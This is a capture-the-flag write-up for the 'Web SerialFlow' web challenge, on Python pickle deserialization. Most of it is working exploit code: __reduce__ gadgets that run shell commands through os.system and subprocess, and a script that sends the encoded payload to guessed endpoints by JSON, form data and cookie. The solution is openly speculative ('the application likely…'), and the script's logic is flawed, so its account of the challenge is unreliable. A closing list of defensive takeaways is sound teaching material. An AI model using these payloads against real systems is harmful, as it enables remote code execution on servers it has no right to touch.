2024 Cyber Apocalypse: Web SerialFlow

Challenge Information

AttributeDetails
Event2024 Cyber Apocalypse
CategoryWeb
ChallengeWeb SerialFlow
DifficultyMedium

Summary

Web SerialFlow is a serialization challenge where the Flask application uses Python pickle to serialize session or application data. The application deserializes user-controlled input, creating a direct path to Remote Code Execution (RCE). By crafting malicious pickle payloads, attackers can execute arbitrary Python code on the server.


Analysis

Vulnerability Type

The vulnerability occurs when:

  1. User input is serialized using Python’s pickle module
  2. This serialized data is stored (in cookies, database, files)
  3. The application deserializes this data without validation
  4. Pickle automatically executes code during deserialization through __reduce__ and similar magic methods

Why Pickle is Dangerous

Pickle is NOT a secure serialization format:

  • It calls Python methods during deserialization
  • It can import and execute arbitrary code
  • There is no safe way to deserialize untrusted pickle data

Solution

Step 1: Understand the Serialization Flow

The application likely:

  1. Accepts input through a form, API, or cookie
  2. Serializes it with pickle.dumps()
  3. Stores the serialized data
  4. Deserializes with pickle.loads() on retrieval

Step 2: Create RCE Payload Class

import pickle
import os
import subprocess
class RCE:
def __reduce__(self):
# Execute command on deserialization
cmd = 'cat /flag'
return os.system, (cmd,)
# Generate payload
payload = pickle.dumps(RCE())
print(payload)

Step 3: Inject Payload

Serialize the payload and inject it where the application expects serialized data:

import requests
import pickle
import os
import base64
class RCE:
def __reduce__(self):
return os.system, ('cat /flag > /tmp/flag.txt',)
payload = pickle.dumps(RCE())
encoded = base64.b64encode(payload).decode()
# Send to vulnerable endpoint
requests.post('http://target:port/api/endpoint',
json={'data': encoded})

Step 4: Retrieve Results

Use output channels to retrieve command execution results:

class RCE:
def __reduce__(self):
# Write flag to web-accessible location
return subprocess.run, (['cp', '/flag', '/app/static/flag.txt'],)

Or use DNS/HTTP callbacks for exfiltration.


Complete Exploit Script

#!/usr/bin/env python3
import pickle
import os
import subprocess
import requests
import base64
import sys
import json
class CommandExecution:
"""Pickle gadget for command execution"""
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return os.system, (self.cmd,)
class SubprocessExecution:
"""Alternative using subprocess"""
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return subprocess.Popen, (['/bin/bash', '-c', self.cmd],)
def exploit_web_serialflow(target_url):
"""Exploit pickle deserialization vulnerability"""
print("[*] Crafting malicious pickle payload...")
# Create RCE payload
rce = CommandExecution('cat /flag')
payload = pickle.dumps(rce)
encoded = base64.b64encode(payload).decode()
session = requests.Session()
# Try various injection points
endpoints = [
'/api/set',
'/api/submit',
'/set',
'/api/data',
'/',
]
print("[*] Attempting injection at various endpoints...")
for endpoint in endpoints:
try:
print(f"[*] Trying {endpoint}")
# Method 1: JSON POST
response = session.post(
f"{target_url}{endpoint}",
json={'data': encoded},
timeout=5
)
# Method 2: Form POST
response = session.post(
f"{target_url}{endpoint}",
data={'data': encoded},
timeout=5
)
# Method 3: Cookie
response = session.get(
f"{target_url}{endpoint}",
cookies={'session': encoded},
timeout=5
)
# Check response for flag
if 'HTB{' in response.text:
print(f"[+] Flag found in response!")
import re
flag = re.search(r'HTB\{[^}]+\}', response.text).group()
print(f"[+] Flag: {flag}")
return flag
except requests.Timeout:
print(f"[-] Timeout at {endpoint}")
except Exception as e:
print(f"[-] Error at {endpoint}: {e}")
continue
# Try to access flag from web directory
print("[*] Attempting to access flag from web directory...")
paths = [
'/flag.txt',
'/flag',
'/static/flag.txt',
'/uploads/flag.txt',
'/tmp/flag.txt',
]
for path in paths:
try:
response = session.get(f"{target_url}{path}")
if 'HTB{' in response.text:
import re
flag = re.search(r'HTB\{[^}]+\}', response.text).group()
print(f"[+] Flag: {flag}")
return flag
except:
continue
print("[-] Could not retrieve flag")
return None
if __name__ == '__main__':
target = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
exploit_web_serialflow(target)

Alternative: Using Ysoserial

For Java targets, ysoserial generates gadget payloads. For Python, create custom pickle gadgets:

import pickle
import sys
# Using __getstate__ and __setstate__ for more complex exploits
class ComplexRCE:
def __getstate__(self):
import os
os.system('cat /flag')
return {}
def __setstate__(self, state):
pass
payload = pickle.dumps(ComplexRCE())

Key Takeaways

  • Never use pickle with untrusted data
  • Use JSON or other safe serialization formats
  • Pickle can execute arbitrary code during deserialization
  • The __reduce__ magic method is the primary attack vector
  • Defense mechanisms (RestrictedUnpickler) exist but are complex
  • Always validate and sanitize deserialized data
  • Consider using json.loads() instead of pickle.loads()
  • Code review should flag all pickle usage with untrusted data

Flag: HTB{s3r14l1z4t10n_g4dg3t_ch41n}